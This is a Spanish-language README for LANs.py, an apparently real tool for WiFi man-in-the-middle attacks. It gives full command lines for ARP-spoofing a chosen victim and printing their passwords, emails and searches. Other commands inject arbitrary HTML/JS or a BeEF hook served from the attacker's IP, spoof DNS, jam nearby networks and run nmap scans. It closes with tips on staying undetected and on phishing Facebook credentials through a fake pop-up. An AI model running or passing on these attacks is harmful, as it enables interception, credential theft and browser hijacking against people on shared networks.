
Inyectar código y espiar a usuarios de wifi
*** NOTA *** Ya no mantengo esto. Recomiendo encarecidamente usar bettercap en su lugar para necesidades ARP y MITM.
Encuentra automáticamente los usuarios más activos de WLAN, luego espía a uno de ellos y/o inyecta HTML/JS arbitrario en las páginas que visitan.
También se puede usar para interferir continuamente redes WiFi cercanas. Esto tiene un alcance aproximado de una cuadra de radio, pero puede variar según la potencia de tu tarjeta WiFi. Se puede ajustar para interferir a todos o incluso a un solo cliente. (No se puede interferir WiFi y espiar simultáneamente)
Requisitos: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (opcional), nmap, nbtscan y una tarjeta inalámbrica capaz de modo promiscuo si eliges no usar la opción -ip
Probado en Kali 1.0. En los siguientes ejemplos, 192.168.0.5 será la máquina atacante y 192.168.0.10 será la víctima.
Todas las opciones:
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
[--directedonly] [--accesspoint ACCESSPOINT]
python LANs.py -u -p
Identificación activa de objetivos que suplanta ARP al objetivo elegido y muestra todos los datos interesantes no HTTPS que envía o solicita. No hay opción -ip, por lo que esto escaneará la red ARP, lo comparará con una captura promiscua en vivo y listará todos los clientes en la red. Intenta etiquetar los objetivos con un nombre netbios de Windows e imprime cuántos paquetes de datos están enviando/recibiendo. La capacidad de capturar los paquetes de datos que envían depende mucho de la proximidad física y la potencia de tu tarjeta de red. Ctrl-C cuando estés listo y elige tu objetivo, el cual será suplantado por ARP.
Admite la interceptación y recolección de datos de los siguientes protocolos: HTTP, FTP, IMAP, POP3, IRC. Imprimirá los primeros 135 caracteres de las URL visitadas e ignorará las URL que terminan en .jpg, .jpeg, .gif, .css, .ico, .js, .svg y .woff. También imprimirá todos los nombres de usuario/contraseñas de protocolo ingresados, búsquedas realizadas en cualquier sitio, correos electrónicos enviados/recibidos y mensajes IRC enviados/recibidos. Captura de pantalla: http://i.imgur.com/kQofTYP.png
Ejecutar LANs.py sin argumentos te dará la lista de objetivos activos y, al seleccionar uno, actuará como un simple suplantador ARP.
python LANs.py -u -p -d -ip 192.168.0.10
-d: abre un xterm con driftnet para ver todas las imágenes que ven
-ip: apunta a esta dirección IP y omite el direccionamiento activo al principio
python LANs.py -b http://192.168.0.5:3000/hook.js
Inyecta una URL de hook de BeEF (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) en las páginas que visita la víctima. Esto simplemente envuelve el argumento en etiquetas <script>, por lo que realmente puedes ingresar cualquier ubicación de un archivo javascript. Intenta insertarlo después de la primera etiqueta </head> encontrada en el HTML de la página.
python LANs.py -c '<title>Owned.</title>'
Inyecta HTML arbitrario en las páginas que visita la víctima. Primero intenta inyectarlo después de la primera etiqueta <head> y, si falla, lo inyecta antes de la primera etiqueta </head>. Este ejemplo cambiará el título de la página a 'Owned.'
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
Para leer desde un archivo pcap debes incluir la dirección IP del objetivo con la opción -ip. También debe estar en formato libpcap, que es el más común de todos modos. Una ventaja de leer desde un archivo pcap es que no necesitas ser root para ejecutar el script.
python LANs.py -a -r 80.87.128.67
python LANs.py -dns eff.org
Ejemplo 1: La opción -a suplantará cada solicitud DNS que haga la víctima y, cuando se usa junto con -r, las redirigirá a la dirección del argumento de -r. La víctima será redirigida a stallman.org (80.87.128.67) sin importar lo que escriba en la barra de direcciones.
Ejemplo 2: Esto suplantará el dominio eff.org y los subdominios de eff.org. Cuando no hay un argumento -r presente con los argumentos -a o -dns, el script por defecto enviará a la víctima a la dirección IP del atacante. Si la víctima intenta ir a eff.org, será redirigida a la IP del atacante.
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
python LANs.py
Uso normal:
-b BEEF_HOOK_URL: copia la URL del hook de BeEF para inyectarla en cada página que visite la víctima, ej: -b http://192.168.1.10:3000/hook.js
-c 'CÓDIGO HTML': inyecta código HTML arbitrario en las páginas que visita la víctima; incluye las comillas al seleccionar HTML para inyectar
-d: abre un xterm con driftnet para ver todas las imágenes que ven
-dns DOMINIO: suplanta el DNS de DOMINIO. ej: -dns facebook.com suplantará cada solicitud DNS a facebook.com o subdominio.facebook.com
-a: Suplanta cada respuesta DNS que hace la víctima, creando efectivamente una página de portal cautivo; la opción -r se puede usar con esto
-r DIRECCIÓN_IP: solo para usar con la opción -dns DOMINIO; redirige al usuario a esta DIRECCIÓN_IP cuando visita DOMINIO
-u: imprime las URL visitadas; trunca a 150 caracteres y filtra las URL de imágenes/css/js/woff/svg ya que saturan la salida y no son interesantes
-i INTERFAZ: especifica la interfaz; por defecto es la primera interfaz en ip route, ej: -i wlan0
-ip: apunta a esta dirección IP
-n: realiza un escaneo nmap rápido del objetivo
-na: realiza un escaneo nmap agresivo en segundo plano y lo envía a [dirección IP víctima].nmap.txt
-p: imprime nombres de usuario/contraseñas para FTP/IMAP/POP/IRC/HTTP, solicitudes HTTP POST realizadas, todas las búsquedas realizadas, correos entrantes/salientes y mensajes IRC enviados/recibidos
-pcap ARCHIVO_PCAP: analiza todos los paquetes en un archivo pcap; requiere el argumento -ip [dirección IP del objetivo]
-rmac MAC_ROUTER: ingresa la MAC del router aquí si tienes problemas para que el script la obtenga automáticamente
-rip IP_ROUTER: ingresa la IP del router aquí si tienes problemas para que el script la obtenga automáticamente
-v: muestra URL detalladas que no se truncan a 150 caracteres como -u
Interferencia WiFi:
Al recibir un Ctrl-C:
-Desactiva el reenvío de IP
-Limpia el firewall iptables
-Restaura individualmente las tablas ARP del router y la víctima
Este script utiliza una cola de python nfqueue-bindings envuelta en un Twisted IReadDescriptor para alimentar paquetes a funciones de callback. nfqueue-bindings se usa para descartar y reenviar ciertos paquetes. La biblioteca scapy de Python hace el trabajo de analizar e inyectar paquetes.
Inyectar código sin ser detectado es un juego arriesgado; si algo menor sale mal o el servidor del que la víctima solicita datos realiza las cosas de manera única o poco común, entonces el usuario no podrá abrir la página que intenta ver y sabrá que algo pasa. Este script está diseñado para reenviar paquetes si algo falla, por lo que durante el uso puedes ver muchos "[!] Paquete inyectado para www.domain.com" pero solo ves uno o dos dominios en el panel de BEeF en los que el navegador está enganchado. Esto está bien. Si no se enganchan en la primera página, solo espera a que naveguen por otras páginas. El objetivo es pasar desapercibido. Mis herramientas favoritas de BEeF están en Commands > Social Engineering. Haz cosas como crear un pop-up de Facebook con aspecto oficial que diga que la autenticación del usuario ha expirado y que debe volver a ingresar sus credenciales.